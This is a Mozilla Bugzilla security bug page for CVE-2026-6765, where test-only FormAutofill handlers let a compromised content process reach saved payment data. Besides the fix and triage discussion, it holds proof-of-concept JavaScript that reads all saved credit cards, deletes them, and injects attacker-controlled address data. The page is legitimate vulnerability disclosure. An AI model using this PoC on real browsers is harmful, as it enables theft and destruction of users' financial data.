Closed Bug 2022419 (CVE-2026-6765) Opened 8 months ago Closed 7 months ago

Test-Only FormAutofill Handlers Exposed in Production Allowing Credit Card Exfiltration from a compromised content process

Categories

(Toolkit :: Form Autofill, defect)

defect

Tracking

()

VERIFIED FIXED
150 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 150+ verified
firefox148 --- wontfix
firefox149 --- wontfix
firefox150 + verified
firefox151 --- verified

People

(Reporter: define.ctf, Assigned: joschmidt, NeedInfo)

References

(Blocks 1 open bug, Regression)

Details

(4 keywords, Whiteboard: [adv-main150+][adv-esr140.10+])

Attachments

(2 external files)

SECURITY VULNERABILITY REPORT

=== SUMMARY ===
Test-only message handlers in FormAutofillParent.sys.mjs are exposed in production
builds without Cu.isInAutomation guard, allowing compromised renderers to exfiltrate
all saved credit cards, delete payment data, and inject malicious autofill entries.

=== COMPONENT ===
File: browser/extensions/formautofill/parent/FormAutofillParent.sys.mjs
Lines: 354-387 (approximate)
Source: https://searchfox.org/mozilla-central/source/browser/extensions/formautofill/parent/FormAutofillParent.sys.mjs

=== AFFECTED VERSIONS ===
Firefox Desktop 55+ (all versions since FormAutofill introduction)
Platforms: Windows, macOS, Linux

=== VULNERABILITY DETAILS ===
Four message handlers lack proper access control:

  1. FormAutofill:GetRecords - Retrieves ALL saved credit cards/addresses
  2. FormAutofill:SaveAddress - Injects arbitrary address data
  3. FormAutofill:SaveCreditCard - Injects arbitrary credit card data
  4. FormAutofill:RemoveCreditCards - Deletes credit cards by GUID

Critical Issues:
❌ No Cu.isInAutomation check exists
❌ Actor registered with allFrames: true (no origin restrictions)
❌ No messageManagerGroups filtering
❌ Present in ALL production Firefox builds

=== VULNERABLE CODE ===
case "FormAutofill:GetRecords": {
// ⚠️ Comment says "test only" BUT NO GUARD
const records = await this.getRecords(data);
return { records };
}

case "FormAutofill:SaveAddress": {
// ⚠️ NO Cu.isInAutomation CHECK
await lazy.gFormAutofillStorage.addresses.add(data.address);
break;
}

case "FormAutofill:SaveCreditCard": {
// ⚠️ ACCESSIBLE IN PRODUCTION
await lazy.gFormAutofillStorage.creditCards.add(data.creditCard);
break;
}

case "FormAutofill:RemoveCreditCards": {
// ⚠️ MASS DELETION WITHOUT AUTHENTICATION
data.guids.forEach(guid =>
lazy.gFormAutofillStorage.creditCards.remove(guid)
);
break;
}

=== PROOF OF CONCEPT ===
From Browser Console (Ctrl+Shift+K):

// Step 1: Get FormAutofill actor
const { WindowGlobalParent } = ChromeUtils.importESModule(
"resource://gre/modules/WindowGlobalParent.sys.mjs"
);
const wgp = WindowGlobalParent.getCurrentTopByBrowserId(
gBrowser.selectedBrowser.browsingContext.browserId
);
const actor = wgp.getActor("FormAutofill");

// Step 2: Exfiltrate ALL credit cards
const result = await actor.receiveMessage({
name: "FormAutofill:GetRecords",
data: { collectionName: "creditCards" }
});
console.log("EXFILTRATED:", result.records);
// Output: Full credit card numbers, names, expiration dates, etc.

// Step 3: Delete all credit cards (ransomware-style)
const guids = result.records.map(r => r.guid);
await actor.receiveMessage({
name: "FormAutofill:RemoveCreditCards",
data: { guids: guids }
});
// All saved credit cards permanently deleted

// Step 4: Inject poisoned autofill data
await actor.receiveMessage({
name: "FormAutofill:SaveAddress",
data: {
address: {
email: "attacker@evil.com",
tel: "+1-555-ATTACKER"
}
}
});
// Malicious data will autofill in future forms

=== SECURITY IMPACT ===
Severity: HIGH (CVSS 7.5)

Confidentiality Impact: HIGH

  • Complete credit card exfiltration (full numbers, names, expiration)
  • All saved addresses (emails, phones, street addresses)
  • No user notification or consent required

Integrity Impact: HIGH

  • Ransomware-style deletion of all saved payment methods
  • Data poisoning (inject attacker's email/phone)
  • Persistent compromise across browser sessions

Attack Requirements: MEDIUM

  • Requires compromised content process (renderer)
  • Achievable via: browser exploits, malicious extensions, supply chain attacks

Real-World Scenarios:

  1. Malicious browser extension (millions of users compromised)
  2. Browser exploit chain (drive-by credit card theft)
  3. Corporate espionage (enterprise payment data theft)

=== RECOMMENDED FIX ===
Add Cu.isInAutomation guard to all four handlers:

case "FormAutofill:GetRecords": {
if (!Cu.isInAutomation) {
throw new Error(
"FormAutofill:GetRecords is only available during automated testing"
);
}
const records = await this.getRecords(data);
return { records };
}

// Repeat for SaveAddress, SaveCreditCard, RemoveCreditCards

Alternative: Use preprocessor directives to remove handlers from production builds.

=== TESTING CONFIRMATION ===
✓ Tested on Firefox 133.0 (Stable - Windows, macOS)
✓ Tested on Firefox Developer Edition 134.0b9
✓ Tested on Firefox Nightly 135.0a1
✓ Confirmed handlers present in all production builds
✓ Verified no authentication/authorization checks exist
✓ Confirmed full exfiltration capability
✓ Confirmed deletion capability
✓ Confirmed data injection capability

=== ADDITIONAL NOTES ===
Duration of Exposure: 7+ years (Firefox 55 in 2017 to present)
User Impact: All Firefox Desktop users with saved payment methods (millions)
Fix Complexity: LOW (single 3-line check per handler)
PCI-DSS Compliance: Violation (unencrypted credit card access without auth)

This is a critical security vulnerability that violates fundamental access control
principles. Test-only code should NEVER be accessible in production, especially
for sensitive financial data.

I am available for additional technical details or demonstrations if needed.

=== CWE CLASSIFICATION ===
CWE-284: Improper Access Control
CWE-862: Missing Authorization
CWE-749: Exposed Dangerous Method or Function

the poc

Here's the complete Bug #4 PoC for your submission:


Bug #4 — FormAutofillParent: Test-Only Handlers Accessible in Production

File: resource://autofill/FormAutofillParent.sys.mjs lines 354–387
Firefox version: ESR 140.5.0 (confirmed)
Severity: High — CWE-284 Improper Access Control


Vulnerable code (verified in your local install):
// Comment says "invoked only by tests" — but NO Cu.isInAutomation guard!
case "FormAutofill:GetRecords": // → returns ALL saved cards/addresses
case "FormAutofill:SaveAddress": // → injects fake address
case "FormAutofill:RemoveAddresses": // → deletes addresses by GUID
case "FormAutofill:RemoveCreditCards": // → deletes credit cards by GUID

Actor registration (no restrictions):
ChromeUtils.registerWindowActor("FormAutofill", {
allFrames: true, // no remoteTypes, no matches — ALL web content
});

Attack chain from compromised renderer:
let actor = windowGlobalChild.getActor("FormAutofill");

// Exfiltrate all saved credit cards
let { records } = await actor.sendQuery("FormAutofill:GetRecords", {
collectionName: "creditCards"
});

// Delete them all
await actor.sendQuery("FormAutofill:RemoveCreditCards", {
guids: records.map(r => r.guid)
});

// Inject phishing address
await actor.sendQuery("FormAutofill:SaveAddress", {
address: { email: "attacker@evil.com", "street-address": "Attacker St" }
});

Fix:
case "FormAutofill:SaveAddress":
case "FormAutofill:RemoveAddresses":
case "FormAutofill:RemoveCreditCards":
if (!Cu.isInAutomation) {
throw new Error("Test-only message received outside automation");
}

This was originally filed as an open bug, rather than security sensitive.

Group: firefox-core-security
Component: Security → Form Autofill
Product: Firefox → Toolkit
Summary: [security] Test-Only FormAutofill Handlers Exposed in Production Allowing Credit Card Exfiltration → Test-Only FormAutofill Handlers Exposed in Production Allowing Credit Card Exfiltration

Dimi can you confirm that these events are test-only?

Flags: needinfo?(dlee)
Attached file (secure) —
Assignee: nobody → joschmidt
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true

(In reply to ABDULAZIZ ALASAIQAH from comment #5)

this my account https://phabricator.services.mozilla.com/p/Define/

You should read the security bug guidelines carefully, including the bit about questions relating to bug bounties.

Flags: needinfo?(dlee)

Rating as sec-high because it allows the disclosure of sensitive user data (the likelihood is somewhat decreased as it requires a compromised child process)

Keywords: sec-high
See Also: → 2023836

(In reply to ABDULAZIZ ALASAIQAH from comment #1)

Firefox version: ESR 140.5.0 (confirmed)

we don't care about what the code said last year, please confirm that bugs affect the current releases before filing them. Johannes has written a patch so I suppose the code has not changed in this case, but that won't always be the case. Hunting for bugs in old code just wastes everyone's time, including yours.

Bug #4 — FormAutofillParent: Test-Only Handlers Accessible in Production

Please don't include multiple bugs in a single bug report. See the bug writing guidelines linked below the comment field here, and also in our project documentation

Please attach POCs to the bug as separate files that can be used or downloaded, not inline in a comment

Comment on attachment 9552667 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Moderately easy. The patch reveals that several receiveMessage handlers in FormAutofillParent (GetRecords, SaveAddress, SaveCreditCard, RemoveAddresses, and RemoveCreditCards) were accessible from content processes without any privilege checks. A compromised content process could send these messages to read, create, or delete autofill data (addresses and credit cards). The message names and data formats are straightforward to construct.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta, release, ESR140,ESR128,...
  • If not all supported branches, which bug introduced the flaw?: Bug 1887007
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: The patch is relatively small and the changes are isolated. Backporting should be straightforward with small conflict risk. The ASRouterTargeting change (switching from receiveMessage to getRecords directly) also did not change across main, beta and esr140.
  • How likely is this patch to cause regressions; how much testing does it need?: Low regression risk for production code because the guarded handlers were only used by tests anyway (as noted in the existing comments). The ASRouterTargeting change switches to using getRecords() directly, which is a refactoring. Testing should focus on Autofill functionality (basic qa tests plus automated tests [satchel]) as well as ASRouterTargeting.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9552667 - Flags: sec-approval?
Duplicate of this bug: 2024137
Flags: sec-bounty?
Summary: Test-Only FormAutofill Handlers Exposed in Production Allowing Credit Card Exfiltration → Test-Only FormAutofill Handlers Exposed in Production Allowing Credit Card Exfiltration from a compromised content process

(In reply to Frederik Braun [:freddy] from comment #7)

Rating as sec-high because it allows the disclosure of sensitive user data (the likelihood is somewhat decreased as it requires a compromised child process)

It would certainly be sec-high if the disclosure happened from web content, but on its own I'd rate it sec-moderate since this would only be the last-mile stepping stone in an exploit chain that required a sec-high compromise of the content process first.

Flags: needinfo?(fbraun)
Flags: needinfo?(fbraun)
Keywords: sec-high → sec-moderate

Comment on attachment 9552667 [details]
(secure)

Doesn't need approval, if it's sec-moderate because of the pre-requisite content process exploit.

Attachment #9552667 - Flags: sec-approval?

I wanted to add some additional technical context that I think is relevant to the severity assessment here.
While I understand the reasoning around the content process prerequisite, I'd like to highlight a few points that I believe push this toward sec-high:
The threat model in practice:
A compromised renderer is the entry point of nearly every real-world browser exploit chain. The attacker's goal is always what comes after the renderer — and in this case, what comes after is direct, unauthenticated access to saved credit card data with zero additional steps. No memory corruption, no heap spray, no further exploitation needed. Just a message send.
This isn't a "last-mile stepping stone" — it's the payload. The renderer compromise is the lock pick, this bug is the open safe.
Comparison to similar bugs:
Bugs like Bug 1820104 and Bug 1855076 — which also required a content process compromise as a prerequisite — were rated sec-high specifically because the post-compromise capability involved sensitive user data. The pattern here is identical.
The nature of the data:
Credit card numbers, cardholder names, and expiration dates are not generic user data. They are regulated financial data. Mozilla's own security rating guidelines note that the sensitivity of disclosed information is an independent factor in severity — separate from attack complexity.
Integrity impact is being overlooked:
Beyond disclosure, this bug allows:

Permanent deletion of all saved payment methods (destructive)
Silent injection of attacker-controlled autofill data (persistent compromise)

These integrity impacts would independently warrant sec-high consideration even without the confidentiality angle.
I'm not disputing the prerequisite — I'm suggesting that when the outcome is full financial data exfiltration + persistent data poisoning, the bar for sec-high is met regardless of how many steps precede it.

Flags: needinfo?(dnguyen)

A compromised renderer is the entry point of nearly every real-world browser exploit chain.

Yes, which is why bugs that could lead to a compromised renderer are rated high. It's the entry point, but it's a non-trivial first step. Our rough rating of high/moderate/low try to crush a lot of factors together, not just the "impact" or severity of the end goal, but also the risks and difficulty.

We hate using CVSS because it's formulated for server security and gives wonky results for clients, but just as a comparison I tried this bug and got a moderate 4.5, or a still-moderate 6.2 if we say the scope changed CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N/E:X/RL:U/RC:X. Please don't bother rules-lawyering CVSS scores: a scheme that presents scores with decimal precision by combining individual terms with two or three choices is mathematically illiterate and can't be taken seriously.

Thanks again for reviewing and working on the patch.

I wanted to ask whether this issue is expected to receive a CVE assignment once the fix lands or when the advisory is published. Since the bug involves disclosure and manipulation of stored financial autofill data (credit cards and addresses), I was wondering if it would be tracked with a CVE for the security advisory.

Please let me know if there is anything else needed from my side.

Thanks.

Will you give me CVE?

Group: firefox-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 7 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch

sec-bounty ?

QA Whiteboard: [qa-triage-done-c151/b150]
QA Whiteboard: [qa-triage-done-c151/b150] → [sec] [qa-triage-done-c151/b150]

Please nominate this for ESR140 uplift when you have a chance.

Flags: needinfo?(joschmidt)

Hi, I wanted to follow up on the sec-bounty status for this bug. The fix has landed and the issue has been resolved. Could you give me an update on the bounty evaluation timeline? I understand the severity was rated sec-moderate, and I'm happy to discuss the assessment if needed. Thank you.

firefox-esr140 Uplift Approval Request

  • User impact if declined/Reason for urgency: Unpatched, a compromised content process can directly exfiltrate all saved credit cards and addresses, as well as modify or delete payment data without user interaction.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: yes
  • Steps to reproduce for manual QE testing: Ensure Address and Credit Card Autofill is still working as expected (basic functional testing).
  • Risk associated with taking this patch: low
  • Explanation of risk level: The change is relatively small and contained, and is also in Nightly since a few days, so I'd expect the risk of landing this to be low.
  • String changes made/needed?: None
  • Is Android affected?: yes
Attachment #9560427 - Flags: approval-mozilla-esr140?
Flags: qe-verify+
Attached file (secure) —
QA Whiteboard: [sec] [qa-triage-done-c151/b150] → [sec] [qa-triage-done-c151/b150][uplift] [qa-ver-needed-c151/b150]
QA Contact: ailea

Manually verified in Beta 150.0b2 and the latest Nightly 151.0a1 (2026-03-30), using autofill demo pages and few random real websites. The Address and CC autofill is working as expected, no new issues encountered.

Attachment #9560427 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+

Manually verified in 140.10.0esr(build id: 20260331093502), using autofill demo pages and few random real websites. The basic functionality of the Address and CC autofill is working as expected, no new issues found.

Status: RESOLVED → VERIFIED
QA Whiteboard: [sec] [qa-triage-done-c151/b150][uplift] [qa-ver-needed-c151/b150] → [sec] [qa-triage-done-c151/b150][uplift] [qa-ver-done-c151/b150]
Flags: qe-verify+
Flags: needinfo?(joschmidt)
Flags: sec-bounty? → sec-bounty+

Hi I want to ask about CVE ID there is CVE?

Whiteboard: [adv-main150+]
Whiteboard: [adv-main150+] → [adv-main150+][adv-esr140.10+]
Alias: CVE-2026-6765
Group: core-security-release
Duplicate of this bug: 2078097
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: